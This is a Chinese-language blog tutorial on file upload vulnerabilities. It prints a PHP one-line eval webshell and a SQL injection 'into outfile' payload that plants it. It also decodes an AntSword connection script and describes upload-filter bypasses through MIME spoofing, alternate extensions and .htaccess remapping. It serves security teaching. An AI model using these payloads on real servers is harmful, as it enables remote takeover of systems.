文件上传漏洞

文章目录


一.Web工作原理 

Web工作原理详解

 HTTP/HTTPS协议会作为浏览器中输入信息的载体,向目标服务器发送请求,目标服务器收到请求后再返回对饮的信息,其中浏览器中输入的信息保存在HTTP报文的请求方式中(get和post等)

二.GET和POST的区别

  • GET请求:参数是以URL参数的形式进行传递,即在URL后面跟着参数名和值,参数之间使用&符号进行分隔,例如:http://example.com/api?param1=value1&param2=value2
  • POST请求:参数是通过HTTP消息体进行传递,参数内容不会显示在URL中,而是放在HTTP请求的消息体中进行传输。
  • 总结:GET请求仅能传输字母数字等参数无法传递图片等内容,而POST不仅可以传递数字还可以传递图片视频等内容

案例分析:

<?php
@&wanli=&_GET["a"];
print(&wanli);
?>

当我们在浏览器URL中输入a=123时,对应网页将输出123。如下图所示

 GET抓包分析

POST抓包分析 

<?php
@&wanli=&_POST["a"];
print(&wanli);
?>

三.Webshell概述

        Webshell是指一种利用Web漏洞获取远程操作权限的工具或脚本,Webshell通常隐藏在Web应用程序的后台目录中,攻击者通过利用一些已知的或未知的漏洞,将Webshell上传到服务器中。一旦成功部署Webshell,攻击者可以通过浏览器或专门的管理工具对服务器进行远程操控,并执行任意操作。

四.一句话木马病毒

PHP中常见的一句话木马病毒如下,通常需要搭配蚁剑等工具来远程控制服务器

<?php @eval($_post['a']);?>

上述代码中:
 @符号作用时即使代码执行错误也不报错
 eval()函数用于将括号中的内容转译为PHP代码交给服务器执行
 $_post["a"]:使用post函数获取HTTP报文中post请求携带的参数 a

 为什么说PHP需要搭配蚂剑等安全工具使用呢,因为上述代码中的参数a实际为蚁剑等工具的连接密码,当我们在蚁剑中输入连接密码 a 连接服务器时 蚁剑会将参数a转译为连接脚本,如下图:

 当上述连接脚本被上传到服务器后,蚁剑就可以成功远程控制服务器。

那么问题来了,如何将一句话木马病毒上传到服务器中?此时,需要依靠文件上传漏洞。

五.文件上传漏洞

mysql文件上传要点:

  • show variables like ‘%securty%’;用来查看mysql是否具有对服务器读写文件权限
  • 数据库的file权限规定了数据库用户是否有权限向操作系统写入和读取已存在的权限
  • into outfile 命令使用环境:必须知道对应服务器上可以写入文件的文件夹完整路径

 当满足以上三个条件后就可以向服务器上传一句话木马并通过蚁剑等工具远程控制

id=-1')) union select 1,"<?php @eval($_post["a"]);?>",3 into outfile “上传木马的文件路径”

蚁剑尝试连接的请求包内容如下所示:

请求包中包含两块内容:

  1. 蚁剑使用post方法传递一个参数:0xbc5c2b57d620e=.....
  2. zt=%40eval(%40base64_decode(%24_POST%5B_0xbc5c2b57d620e%5D))%3B

zt=%40eval(%40base64_decode(%24_POST%5B_0xbc5c2b57d620e%5D))%3B

解码后:
zt=eval(base64_decode($_POST('0xbc5c2b57d620e')))

蚁剑将靶机中webshell的zt替换为上述代码,得到结果如下:

<?php @eval($_post["eval(base64_decode($_POST('0xbc5c2b57d620e')))"]);?>

 而上述代码会使用eval()函数强制将post方法传递的参数0xbc5c2b57d620e使用base64解码(解码后的代码可用于控制靶机),最后再通过eval()函数强制执行参数0xbc5c2b57d620e解码之后的代码

将0xbc5c2b57d620e后面的参数解码后如下:
<?php 
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();ob_end_clean();echo "937d7";echo @asenc($output);echo "04504";
}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);   #获取当前脚本所在文件的路径并赋值给 D
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); #获取当前脚本的完整执行路径并赋值给D
    $R="{$D}"; #将变量D的值赋值给R
    if(substr($D,0,1)!="/"){  #若$D的第一个字符串不是“/”即路径不是目录
        #对于从 "C" 到 "Z" 的每个字母进行循环遍历,判断脚本所在磁盘
        foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/"; #路径是一个目录
         }
        $R.="";
        $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
        $s=($u)?$u["name"]:@get_current_user();
        $R.=php_uname()
        ;$R.="	{$s}";echo $R;;}
        catch(Exception $e)
        {
            echo "ERROR://".$e->getMessage();
        };
        asoutput();die();
?>

注释:$R.="":初始化一个空字符串变量$R。

$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";:判断系统是否支持posix_getegid函数,如果支持,则使用posix_getpwuid函数获取当前用户的详细信息;否则,将$u赋值为空字符串。

$s=($u)?$u["name"]:@get_current_user();:如果$u存在,则将$u["name"]赋值给变量s,即获取当前用户的用户名;否则,使用get_current_user函数获取当前用户的用户名。

$R.=php_uname();:将php_uname函数返回的系统信息追加到$R变量中。

$R.=" {$s}";:将$s变量追加到$R变量中。

echo $R;:输出$R变量的值,即将系统信息和当前用户名显示在页面上。

catch(Exception $e):捕获异常,但在代码中并没有发生异常的处理,因此这行代码是多余的

六.文件上传漏洞绕过手法

案例1:禁止上传.php的文件类型,.jpg的图片文件可正常上传。

  • 绕过手法:

使用burpsuit等工具将请求报文中的文件类型字段更改与,jpg等图片文件的文件类型一致

.php文件的文本类型:octet-stream

jpg文件的文本类型:ipge

演示案例2: 禁止上传asp aspx php jsp 后缀的文件

  • 绕过手法1:

Apache的配置文件中有如下源码告诉Apache将哪些后缀的文件解析为php文件,因此可以利用这一点将php文件的后缀改为php3等用于绕过。

  •  绕过手法2:利用伪静态将html文件指向php文件

.htaccrss漏洞解析

        .htaccess文件是Apache服务器中的一个配置文件,用于管理网站的配置和访问权限。它可以用来控制网站的访问方式、重定向URL、防止目录列表、密码保护目录等。

        .htaccess文件上传漏洞的原理是,攻击者通过控制上传文件的请求,在文件上传过程中,将文件名修改为.htaccess,并将包含恶意代码的.htaccess文件上传到服务器。当服务器对上传文件进行处理时,会读取.htaccess文件,并执行其中的恶意代码。

.htaccess参数

常见配置方法:

AddHandler php5-script .jpg

AddType application/x-httpd.php .jpg

Sethandler application/x-httpd-php

Sethandler:将该目录及子目录的所有文件均映射为php文件类型
AddType:将特定扩展名映射为php文件类型
AddHandler:使用php5-script处理器来解析所有匹配到的文件


总结

  • 12
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
SQL注入漏洞文件上传漏洞是常见的Web应用程序安全漏洞,它们经常被黑客用来攻击和入侵网站。联合靶场是一个综合性的训练平台,用于模拟和演示各种安全漏洞的攻击和防御技术。 SQL注入漏洞是指攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码,从而绕过应用程序的验证和过滤机制,直接操作数据库。攻击者可以通过SQL注入漏洞获取、修改或删除数据库中的数据,甚至执行任意的系统命令。为了防止SQL注入漏洞,开发人员应该使用参数化查询或预编译语句来过滤用户输入,并对输入进行严格的验证和转义。 文件上传漏洞是指攻击者通过上传恶意文件来绕过应用程序的安全机制,从而执行任意的代码或获取系统权限。攻击者可以通过文件上传漏洞上传包含恶意代码的文件,然后通过访问上传的文件来执行攻击。为了防止文件上传漏洞,开发人员应该对上传的文件进行严格的验证和过滤,限制上传文件的类型和大小,并将上传的文件存储在安全的位置。 关于联合靶场,我可以介绍一些常用的靶场平台,供您进行学习和实践: 1. WebGoat:一个开源的Web应用程序,旨在教授Web应用程序安全的基本概念和技术。它包含了各种常见的安全漏洞,包括SQL注入文件上传漏洞。 2. DVWA(Damn Vulnerable Web Application):一个专门设计用于测试和练习Web应用程序安全的漏洞集合。它提供了多个漏洞场景,包括SQL注入文件上传漏洞。 3. bWAPP(Buggy Web Application):一个有意设计存在漏洞的Web应用程序,用于训练和测试安全专业人员的技能。它包含了多种常见的漏洞类型,包括SQL注入文件上传漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北 染 星 辰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值